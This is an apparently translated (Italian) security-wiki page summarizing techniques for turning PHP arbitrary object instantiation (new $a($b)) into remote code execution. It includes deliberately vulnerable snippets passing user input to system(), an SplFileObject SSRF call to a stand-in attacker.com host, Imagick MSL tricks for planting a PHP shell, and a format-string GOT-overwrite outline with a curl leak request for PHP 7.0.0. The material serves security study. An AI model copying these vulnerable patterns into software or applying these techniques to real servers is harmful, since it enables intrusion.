PHP - RCE abusing object creation: new $_GET"a"

Reading time: 6 minutes

Questo è fondamentalmente un riepilogo di https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introduzione

La creazione di nuovi oggetti arbitrari, come new $_GET["a"]($_GET["a"]), può portare a Remote Code Execution (RCE), come dettagliato in una analisi. Questo documento evidenzia varie strategie per ottenere RCE.

RCE tramite classi personalizzate o autoloading

La sintassi new $a($b) viene utilizzata per istanziare un oggetto dove $a rappresenta il nome della classe e $b è il primo argomento passato al costruttore. Queste variabili possono provenire da input utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove potrebbero presentarsi come altri tipi.

Considera lo snippet di codice qui sotto:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

In questo caso, impostare $a su App o App2 e $b su un comando di sistema (es., uname -a) porta all'esecuzione di quel comando.

Funzioni di autoloading possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi dai file quando necessario e sono definite usando spl_autoload_register o __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Il comportamento dell'autoloading varia tra le versioni di PHP, offrendo diverse possibilità di RCE.

RCE via Built-In Classes

In assenza di classi custom o autoloaders, built-in PHP classes possono essere sufficienti per RCE. Il numero di queste classi varia tra le 100 e le 200, in base alla versione di PHP e alle estensioni. Possono essere elencate usando get_declared_classes().

I costruttori di interesse possono essere identificati tramite la reflection API, come mostrato nell'esempio seguente e nel link https://3v4l.org/2JEGF.

RCE via specific methods includes:

SSRF + Phar Deserialization

La classe SplFileObject abilita SSRF tramite il suo costruttore, permettendo connessioni a qualsiasi URL:

new SplFileObject('http://attacker.com/');

SSRF può portare a deserialization attacks in versioni di PHP precedenti alla 8.0 utilizzando il Phar protocol.

Sfruttare PDOs

Il PDO class constructor permette connessioni a database tramite DSN strings, potenzialmente abilitando la creazione di file o altre interazioni:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Versioni di PHP fino a 5.3.22 e 5.4.12 erano suscettibili ad attacchi XXE tramite i costruttori di SoapClient e SimpleXMLElement, a seconda della versione di libxml2.

RCE tramite estensione Imagick

Nell'analisi delle dipendenze del progetto, è stato scoperto che Imagick può essere sfruttato per command execution istanziando nuovi oggetti. Questo rappresenta un'opportunità per sfruttare vulnerabilità.

VID parser

È stata identificata la capacità del VID parser di scrivere contenuti in qualsiasi percorso specificato nel filesystem. Questo potrebbe portare al posizionamento di una PHP shell in una directory accessibile via web, ottenendo Remote Code Execution (RCE).

VID Parser + File Upload

È da notare che PHP memorizza temporaneamente i file caricati in /tmp/phpXXXXXX. Il VID parser in Imagick, utilizzando il protocollo msl, può gestire wildcard nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un approccio aggiuntivo per ottenere la scrittura arbitraria di file nel filesystem.

PHP Crash + Brute Force

Un metodo descritto nella original writeup prevede il caricamento di file che causano il crash del server prima della loro cancellazione. Brute-forzando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica si è rivelata efficace solo in una versione obsoleta di ImageMagick.

Format-string nella risoluzione dei nomi di classe (PHP 7.0.0 Bug #71105)

Quando l'input utente controlla il nome della classe (es., new $_GET['model']()), in PHP 7.0.0 è stato introdotto un bug transitorio durante il refactor di Throwable per cui il motore interpretava erroneamente il nome della classe come una printf format string durante la risoluzione. Ciò abilita i classici printf-style primitives all'interno di PHP: leaks con %p, controllo del conteggio di scrittura con specifier di larghezza, e scritture arbitrarie con %n contro puntatori in-process (per esempio, voci GOT su build ELF).

Minimal repro vulnerable pattern:

<?php
$model = $_GET['model'];
$object = new $model();

Exploitation outline (from the reference):

• Leak indirizzi via %p nel nome della classe per trovare un target scrivibile:

curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers

• Usa parametri posizionali e specificatori di larghezza per impostare un conteggio esatto di byte, poi %n per scrivere quel valore in un indirizzo raggiungibile nello stack, mirando a uno slot GOT (es. free) per sovrascriverlo parzialmente verso system.
• Innesca la funzione dirottata passando un nome di classe contenente una pipe di shell per raggiungere system("id").

Note:

• Funziona solo su PHP 7.0.0 (Bug #71105); corretto nelle release successive. Gravità: critica se esiste l'instanziazione arbitraria di classi.
• I payload tipici concatenano molti %p per scorrere lo stack, poi %.<width>d%<pos>$n per ottenere la sovrascrittura parziale.

Riferimenti

• https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
• The Art of PHP: CTF‑born exploits and techniques